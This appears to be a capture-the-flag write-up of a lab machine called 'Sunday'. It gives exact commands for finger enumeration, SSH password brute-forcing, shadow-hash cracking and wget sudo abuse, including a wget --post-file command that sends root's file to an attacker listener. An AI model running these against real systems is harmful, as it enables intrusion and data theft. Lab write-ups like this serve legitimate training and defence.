jperezduerto.info
Sunday
Summary
I discovered SSH running on a non-standard port alongside a legacy unauthenticated finger service that freely disclosed local account names. The account 'sunny' used the machine's own hostname as its password, granting an immediate shell.
Filesystem enumeration uncovered a shadow-file backup left world-readable in /backup, exposing a second account's password hash. That hash was cracked offline in seconds against a common wordlist, yielding 'sammy's password.
Sammy held an unrestricted, password-free sudo grant on /usr/bin/wget — a GTFOBins-documented binary — which I exploited to execute arbitrary commands as root. No software vulnerability was involved: the entire chain was weak credentials, an exposed credential backup, and a dangerous sudo rule.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for sammy>"
export PASSWORD2="<the-password-you-recovered, for sunny>"Attack path — how the box was taken
Exact commands 2
Full TCP sweep to identify all open ports, including SSH on 22022.
$ nmap -Pn -p- --min-rate 3000 -T4 $TARGETService version fingerprint on discovered ports to confirm finger, SSH version, etc.
$ nmap -Pn -sV -p 22022,79,111,515,6787 $TARGETExact commands 4
Probe built-in accounts to confirm finger is responding.
$ finger root@$TARGETConfirm 'sunny' is a valid local account.
$ finger sunny@$TARGETConfirm 'sammy' is a valid local account.
$ finger sammy@$TARGETAlternative: iterate a name wordlist to enumerate all accounts.
$ for user in $(cat /usr/share/seclists/Usernames/Names/names.txt); do finger $user@$TARGET 2>/dev/null | grep -i 'login' && echo "FOUND: $user"; doneFixDisable the finger serviceMedium
Exact commands 2
Single-command foothold: authenticate, confirm identity, check sudo rights immediately.
$ sshpass -p "$PASSWORD2" ssh -p 22022 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sunny@$TARGET 'id; hostname; sudo -l'
uid=101(sunny) gid=10(staff)Alternative if the first guess fails: brute-force with rockyou — '$PASSWORD2' appears early in the list.
$ hydra -l sunny -P /usr/share/wordlists/rockyou.txt -s 22022 ssh://$TARGETFixEnforce strong passwords and eliminate hostname/username-based credentialsCritical
Exact commands 2
Check sudo rights and read the world-readable backup in one session.
$ sshpass -p "$PASSWORD2" ssh -p 22022 sunny@$TARGET 'sudo -l; ls -la /backup/; cat /backup/shadow.backup'General filesystem search pattern to find all credential backup files.
$ find / -name '*.backup' -o -name 'shadow*' 2>/dev/null | xargs ls -la 2>/dev/nullFixRemove world-readable permissions from the shadow backup and restrict all credential backupsCritical
Exact commands 2
Crack the extracted hash with John the Ripper; recovered password: $PASSWORD
$ john --wordlist=/usr/share/wordlists/rockyou.txt shadow.backupAlternative with hashcat; mode 1800 = sha512crypt ($6$). Same result: $PASSWORD
$ hashcat -m 1800 shadow.backup /usr/share/wordlists/rockyou.txt --forceExact commands 1
Authenticate as sammy, read user flag (<user.txt>), confirm sudo rights in one shot.
$ sshpass -p "$PASSWORD" ssh -p 22022 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sammy@$TARGET 'id; cat /home/sammy/user.txt; sudo -l'
uid=100(sammy)Exact commands 3
GTFOBins askpass method: wget runs /tmp/askroot as root, writing uid=0 and root.txt (<root.txt>) to /tmp/root_proof.
$ sshpass -p "$PASSWORD" ssh -p 22022 sammy@$TARGET 'printf "#!/bin/sh\n/usr/bin/id > /tmp/root_proof\n/bin/cat /root/root.txt >> /tmp/root_proof\n" > /tmp/askroot && chmod +x /tmp/askroot && sudo wget --use-askpass=/tmp/askroot -q 0.0.0.0; cat /tmp/root_proof'Step 1 on my machine (tun0 IP $ATTACKER_IP): open listener to receive the POSTed file.
$ nc -lnvp 18080Step 2 alternative: --post-file exfil sends /root/root.txt (<root.txt>) over HTTP to my listener. Replace $ATTACKER_IP with your active tun0 IP.
$ sshpass -p "$PASSWORD" ssh -p 22022 sammy@$TARGET "sudo /usr/bin/wget --post-file=/root/root.txt http://$ATTACKER_IP:18080/ -O /dev/null"FixRemove wget and all GTFOBins-capable binaries from passwordless sudo grantsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Exposed services
| 22022/tcp | ssh OpenSSH 8.4 (protocol 2.0) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.